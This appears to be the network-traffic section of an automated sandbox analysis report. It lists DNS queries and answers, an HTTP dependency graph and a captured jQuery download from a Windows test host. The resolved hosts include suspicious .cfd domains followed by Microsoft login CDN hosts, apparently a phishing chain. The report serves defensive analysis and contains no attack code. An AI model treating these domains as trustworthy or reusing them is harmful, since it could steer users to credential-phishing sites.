May 7, 2024 16:12:15.726440907 CEST	62507	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:15.726440907 CEST	56533	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:15.813098907 CEST	53	56533	1.1.1.1	192.168.2.8
May 7, 2024 16:12:15.817954063 CEST	53	62507	1.1.1.1	192.168.2.8
May 7, 2024 16:12:16.140958071 CEST	61497	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:16.140958071 CEST	57990	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:16.227638960 CEST	53	61497	1.1.1.1	192.168.2.8
May 7, 2024 16:12:16.227958918 CEST	53	57990	1.1.1.1	192.168.2.8
May 7, 2024 16:12:21.082561970 CEST	52790	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:21.082930088 CEST	65498	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:21.187654018 CEST	53	65498	1.1.1.1	192.168.2.8
May 7, 2024 16:12:21.191358089 CEST	53	52790	1.1.1.1	192.168.2.8
May 7, 2024 16:12:23.304270983 CEST	53	59625	1.1.1.1	192.168.2.8
May 7, 2024 16:12:25.518096924 CEST	53045	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:25.518193960 CEST	65196	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:25.620215893 CEST	53	65196	1.1.1.1	192.168.2.8
May 7, 2024 16:12:25.622289896 CEST	53	53045	1.1.1.1	192.168.2.8
May 7, 2024 16:12:28.998064041 CEST	53	50276	1.1.1.1	192.168.2.8
May 7, 2024 16:12:44.512337923 CEST	56001	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:44.512633085 CEST	53300	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:44.716408968 CEST	53	53300	1.1.1.1	192.168.2.8
May 7, 2024 16:12:44.725570917 CEST	53	56001	1.1.1.1	192.168.2.8
May 7, 2024 16:12:45.610407114 CEST	63182	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:45.610903978 CEST	49319	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:45.613828897 CEST	63885	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:45.614108086 CEST	63206	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:45.697921991 CEST	53	63182	1.1.1.1	192.168.2.8
May 7, 2024 16:12:45.698637009 CEST	53	49319	1.1.1.1	192.168.2.8
May 7, 2024 16:12:45.723360062 CEST	53	63206	1.1.1.1	192.168.2.8
May 7, 2024 16:12:45.903338909 CEST	53	63885	1.1.1.1	192.168.2.8
May 7, 2024 16:12:48.011084080 CEST	53	53153	1.1.1.1	192.168.2.8
May 7, 2024 16:12:50.185488939 CEST	49445	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:50.185734034 CEST	63410	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:50.189750910 CEST	62611	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:50.189882994 CEST	58161	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:50.272273064 CEST	53	63410	1.1.1.1	192.168.2.8
May 7, 2024 16:12:50.272407055 CEST	53	49445	1.1.1.1	192.168.2.8
May 7, 2024 16:12:50.277029037 CEST	53	58161	1.1.1.1	192.168.2.8
May 7, 2024 16:12:50.860645056 CEST	58802	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:50.860981941 CEST	55461	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:50.947925091 CEST	53	58802	1.1.1.1	192.168.2.8
May 7, 2024 16:12:50.948057890 CEST	53	55461	1.1.1.1	192.168.2.8
May 7, 2024 16:12:57.507958889 CEST	138	138	192.168.2.8	192.168.2.255
May 7, 2024 16:13:10.730674982 CEST	53	55976	1.1.1.1	192.168.2.8
May 7, 2024 16:13:11.393615007 CEST	53	56851	1.1.1.1	192.168.2.8
May 7, 2024 16:13:38.846982002 CEST	53	60644	1.1.1.1	192.168.2.8
May 7, 2024 16:14:25.254748106 CEST	53	54775	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 7, 2024 16:12:11.055155993 CEST	192.168.2.8	1.1.1.1	0x32fc	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:11.055483103 CEST	192.168.2.8	1.1.1.1	0xc047	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
May 7, 2024 16:12:11.055994034 CEST	192.168.2.8	1.1.1.1	0x3034	Standard query (0)	exatafidelidade.com.br	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:11.056333065 CEST	192.168.2.8	1.1.1.1	0x8151	Standard query (0)	exatafidelidade.com.br	65	IN (0x0001)	false
May 7, 2024 16:12:12.072695017 CEST	192.168.2.8	1.1.1.1	0x2ed	Standard query (0)	exatafidelidade.com.br	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:12.072858095 CEST	192.168.2.8	1.1.1.1	0x99d8	Standard query (0)	exatafidelidade.com.br	65	IN (0x0001)	false
May 7, 2024 16:12:12.241777897 CEST	192.168.2.8	1.1.1.1	0x7d11	Standard query (0)	inroleet.cfd	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:12.241928101 CEST	192.168.2.8	1.1.1.1	0x72f9	Standard query (0)	inroleet.cfd	65	IN (0x0001)	false
May 7, 2024 16:12:13.214878082 CEST	192.168.2.8	1.1.1.1	0x935a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.214878082 CEST	192.168.2.8	1.1.1.1	0xa499	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
May 7, 2024 16:12:13.215282917 CEST	192.168.2.8	1.1.1.1	0xf4e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.215476036 CEST	192.168.2.8	1.1.1.1	0x1074	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 16:12:15.726440907 CEST	192.168.2.8	1.1.1.1	0x63fc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:15.726440907 CEST	192.168.2.8	1.1.1.1	0x2936	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 7, 2024 16:12:16.140958071 CEST	192.168.2.8	1.1.1.1	0x4678	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:16.140958071 CEST	192.168.2.8	1.1.1.1	0x4ab7	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 16:12:21.082561970 CEST	192.168.2.8	1.1.1.1	0x3e8d	Standard query (0)	inroleet.cfd	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:21.082930088 CEST	192.168.2.8	1.1.1.1	0x3773	Standard query (0)	inroleet.cfd	65	IN (0x0001)	false
May 7, 2024 16:12:25.518096924 CEST	192.168.2.8	1.1.1.1	0x4e96	Standard query (0)	inroleet.cfd	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:25.518193960 CEST	192.168.2.8	1.1.1.1	0xcc7d	Standard query (0)	inroleet.cfd	65	IN (0x0001)	false
May 7, 2024 16:12:44.512337923 CEST	192.168.2.8	1.1.1.1	0x3997	Standard query (0)	indall.cfd	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:44.512633085 CEST	192.168.2.8	1.1.1.1	0xae4d	Standard query (0)	indall.cfd	65	IN (0x0001)	false
May 7, 2024 16:12:45.610407114 CEST	192.168.2.8	1.1.1.1	0xd331	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:45.610903978 CEST	192.168.2.8	1.1.1.1	0xed9e	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
May 7, 2024 16:12:45.613828897 CEST	192.168.2.8	1.1.1.1	0x760b	Standard query (0)	indall.cfd	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:45.614108086 CEST	192.168.2.8	1.1.1.1	0xf577	Standard query (0)	indall.cfd	65	IN (0x0001)	false
May 7, 2024 16:12:50.185488939 CEST	192.168.2.8	1.1.1.1	0x6587	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.185734034 CEST	192.168.2.8	1.1.1.1	0xd4df	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
May 7, 2024 16:12:50.189750910 CEST	192.168.2.8	1.1.1.1	0xaad4	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.189882994 CEST	192.168.2.8	1.1.1.1	0x401e	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
May 7, 2024 16:12:50.860645056 CEST	192.168.2.8	1.1.1.1	0xdc1	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.860981941 CEST	192.168.2.8	1.1.1.1	0xbe29	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 7, 2024 16:12:11.142252922 CEST	1.1.1.1	192.168.2.8	0x32fc	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:11.142252922 CEST	1.1.1.1	192.168.2.8	0x32fc	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:11.142252922 CEST	1.1.1.1	192.168.2.8	0x32fc	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:11.142252922 CEST	1.1.1.1	192.168.2.8	0x32fc	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:11.306855917 CEST	1.1.1.1	192.168.2.8	0x8151	No error (0)	exatafidelidade.com.br			65	IN (0x0001)	false
May 7, 2024 16:12:11.361536026 CEST	1.1.1.1	192.168.2.8	0x3034	No error (0)	exatafidelidade.com.br		172.67.135.164	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:11.361536026 CEST	1.1.1.1	192.168.2.8	0x3034	No error (0)	exatafidelidade.com.br		104.21.26.81	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:12.323340893 CEST	1.1.1.1	192.168.2.8	0x99d8	No error (0)	exatafidelidade.com.br			65	IN (0x0001)	false
May 7, 2024 16:12:12.345851898 CEST	1.1.1.1	192.168.2.8	0x7d11	No error (0)	inroleet.cfd		163.5.112.235	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:12.365333080 CEST	1.1.1.1	192.168.2.8	0x2ed	No error (0)	exatafidelidade.com.br		172.67.135.164	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:12.365333080 CEST	1.1.1.1	192.168.2.8	0x2ed	No error (0)	exatafidelidade.com.br		104.21.26.81	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.301292896 CEST	1.1.1.1	192.168.2.8	0x935a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.301292896 CEST	1.1.1.1	192.168.2.8	0x935a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.301292896 CEST	1.1.1.1	192.168.2.8	0x935a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.301292896 CEST	1.1.1.1	192.168.2.8	0x935a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.301919937 CEST	1.1.1.1	192.168.2.8	0xf4e	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.301919937 CEST	1.1.1.1	192.168.2.8	0xf4e	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:13.302550077 CEST	1.1.1.1	192.168.2.8	0x1074	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 16:12:15.813098907 CEST	1.1.1.1	192.168.2.8	0x2936	No error (0)	www.google.com			65	IN (0x0001)	false
May 7, 2024 16:12:15.817954063 CEST	1.1.1.1	192.168.2.8	0x63fc	No error (0)	www.google.com		142.250.72.100	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:16.227638960 CEST	1.1.1.1	192.168.2.8	0x4678	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:16.227638960 CEST	1.1.1.1	192.168.2.8	0x4678	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:16.227958918 CEST	1.1.1.1	192.168.2.8	0x4ab7	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 16:12:21.191358089 CEST	1.1.1.1	192.168.2.8	0x3e8d	No error (0)	inroleet.cfd		163.5.112.235	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:25.622289896 CEST	1.1.1.1	192.168.2.8	0x4e96	No error (0)	inroleet.cfd		163.5.112.235	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:44.725570917 CEST	1.1.1.1	192.168.2.8	0x3997	No error (0)	indall.cfd		91.108.102.252	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:45.697921991 CEST	1.1.1.1	192.168.2.8	0xd331	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:45.697921991 CEST	1.1.1.1	192.168.2.8	0xd331	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:45.698637009 CEST	1.1.1.1	192.168.2.8	0xed9e	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
May 7, 2024 16:12:45.903338909 CEST	1.1.1.1	192.168.2.8	0x760b	No error (0)	indall.cfd		91.108.102.252	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.272273064 CEST	1.1.1.1	192.168.2.8	0xd4df	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 16:12:50.272407055 CEST	1.1.1.1	192.168.2.8	0x6587	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 16:12:50.272407055 CEST	1.1.1.1	192.168.2.8	0x6587	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.274876118 CEST	1.1.1.1	192.168.2.8	0xdd52	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 16:12:50.274876118 CEST	1.1.1.1	192.168.2.8	0xdd52	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.274876118 CEST	1.1.1.1	192.168.2.8	0xdd52	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.276549101 CEST	1.1.1.1	192.168.2.8	0xaad4	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 16:12:50.277029037 CEST	1.1.1.1	192.168.2.8	0x401e	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 16:12:50.947925091 CEST	1.1.1.1	192.168.2.8	0xdc1	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 16:12:50.947925091 CEST	1.1.1.1	192.168.2.8	0xdc1	No error (0)	cs1100.wpc.omegacdn.net		152.199.4.44	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.948057890 CEST	1.1.1.1	192.168.2.8	0xbe29	No error (0)	aadcdn.msftauth.net	cs1100.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 16:12:50.949904919 CEST	1.1.1.1	192.168.2.8	0x781f	No error (0)	shed.dual-low.part-0012.t-0009.t-msedge.net	part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 7, 2024 16:12:50.949904919 CEST	1.1.1.1	192.168.2.8	0x781f	No error (0)	part-0012.t-0009.t-msedge.net		13.107.213.40	A (IP address)	IN (0x0001)	false
May 7, 2024 16:12:50.949904919 CEST	1.1.1.1	192.168.2.8	0x781f	No error (0)	part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

code.jquery.com

exatafidelidade.com.br

inroleet.cfd

https:

challenges.cloudflare.com

fs.microsoft.com

slscr.update.microsoft.com

indall.cfd

cdnjs.cloudflare.com

aadcdn.msftauth.net

aadcdn.msauth.net

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
May 7, 2024 16:12:26.056317091 CEST	23.206.229.226	443	192.168.2.8	49703	CN=r.bing.com, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US	CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Oct 18 22:32:40 CEST 2023 Wed Aug 12 02:00:00 CEST 2020	Fri Jun 28 01:59:59 CEST 2024 Fri Jun 28 01:59:59 CEST 2024	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
May 7, 2024 16:12:26.056317091 CEST	23.206.229.226	443	192.168.2.8	49703	CN=Microsoft Azure ECC TLS Issuing CA 05, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Aug 12 02:00:00 CEST 2020	Fri Jun 28 01:59:59 CEST 2024		28a2c9bd18a11de089ef85a160da29e4

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	151.101.194.137	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:11 UTC	498	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:11 UTC	562	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 07 May 2024 14:12:11 GMT Age: 1225794 X-Served-By: cache-lga21947-LGA, cache-ewr18153-EWR X-Cache: HIT, HIT X-Cache-Hits: 1589, 8 X-Timer: S1715091131.455066,VS0,VE0 Vary: Accept-Encoding
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-05-07 14:12:11 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
